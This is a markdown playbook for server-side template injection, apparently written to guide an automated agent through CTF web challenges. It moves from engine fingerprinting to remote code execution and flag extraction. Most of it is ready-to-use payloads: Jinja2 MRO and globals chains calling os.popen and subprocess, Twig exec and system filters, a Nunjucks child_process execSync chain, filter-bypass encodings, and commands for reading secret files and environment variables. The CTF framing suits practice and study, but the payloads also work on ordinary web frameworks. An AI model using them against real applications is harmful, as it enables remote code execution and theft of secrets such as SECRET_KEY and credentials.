# SSTI Strategy

## Phase 1: Template Engine Detection (budget: 20%)
1. Submit polyglot detection string to all input params:
   ```
   ${{<%[%'"}}%\.
   ```
   Check response for errors revealing engine type.

2. Test engine-specific markers:
   | Payload | Engine if rendered |
   |---------|-------------------|
   | `{{7*7}}` → `49` | Jinja2, Twig, Nunjucks |
   | `${7*7}` → `49` | Freemarker, Velocity, Mako |
   | `<%= 7*7 %>` → `49` | ERB (Ruby), EJS |
   | `#{7*7}` → `49` | Slim, Jade/Pug |
   | `{7*7}` → `49` | Smarty |
   | `{{= 7*7}}` → `49` | doT.js |

3. Check docker analysis for framework hints:
   - Flask/Jinja2 → test `{{config}}` for info leak
   - Twig → test `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
   - Django → test `{% debug %}` or `{{settings.SECRET_KEY}}`
   - Express/Nunjucks → test `{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}`

**Decision point:** If `{{7*7}}` returns `49` → confirmed SSTI. If all payloads return literally → not SSTI, pivot to XSS/SQLi. If errors but no execution → check if sandbox is active.

## Phase 2: Information Gathering (budget: 10%)
1. **Jinja2:** `{{config.items()}}`, `{{request.environ}}`, `{{self.__class__.__mro__}}`
2. **Twig:** `{{app.request.server.all|join(',')}}`, `{{constant('PHP_VERSION')}}`
3. **ERB:** `<%= Dir.entries('/') %>`, `<%= ENV.to_a %>`
4. Determine: Python version, available modules, filesystem layout, flag file location

## Phase 3: RCE via Template Injection (budget: 50%)

### Jinja2 (Python/Flask) — most common in CTF web challenges
```python
# Classic MRO chain
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen (usually index ~400)
{{''.__class__.__mro__[1].__subclasses__()[XXX]('cat /flag',shell=True,stdout=-1).communicate()}}

# Alternative via config
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

# Via request
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

# Lipsum trick (bypasses common filters)
{{lipsum.__globals__["os"].popen("cat /flag").read()}}
{{cycler.__init__.__globals__.os.popen("cat /flag").read()}}
```

### Twig (PHP)
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
```
Or Twig 3.x:
```
{{['cat /flag']|map('system')}}
{{['cat /flag']|filter('exec')}}
```

### Sandbox Bypass
If basic payloads are blocked:
1. Enumerate available classes: `{{''.__class__.__mro__[1].__subclasses__()}}`
2. Find `os._wrap_close` or `subprocess.Popen` by index
3. Use `|attr()` filter to bypass dot notation blocks: `{{''|attr('__class__')}}`
4. Use `\x` hex escapes: `{{''['\x5f\x5fclass\x5f\x5f']}}`
5. Use `request.args`: `{{request['application'][request.args.a]}}` with `?a=__globals__`

## Phase 4: Flag Extraction (budget: 20%)
1. `cat /flag`, `cat /flag.txt`, `cat /app/flag*`, `find / -name 'flag*' 2>/dev/null`
2. If RCE blocked: try file read via template — `{{''.__class__.__mro__[1].__subclasses__()[40]('/flag').read()}}`
3. Check environment: `env | grep FLAG`, `printenv`
4. Check database: flag might be in DB, not filesystem

## Pivot Triggers
- Not SSTI → try XSS (similar input points), SQLi, command injection
- SSTI confirmed but sandboxed and all bypasses fail → try reading flag directly via template file access
- RCE achieved but no flag file → check DB, environment variables, other containers
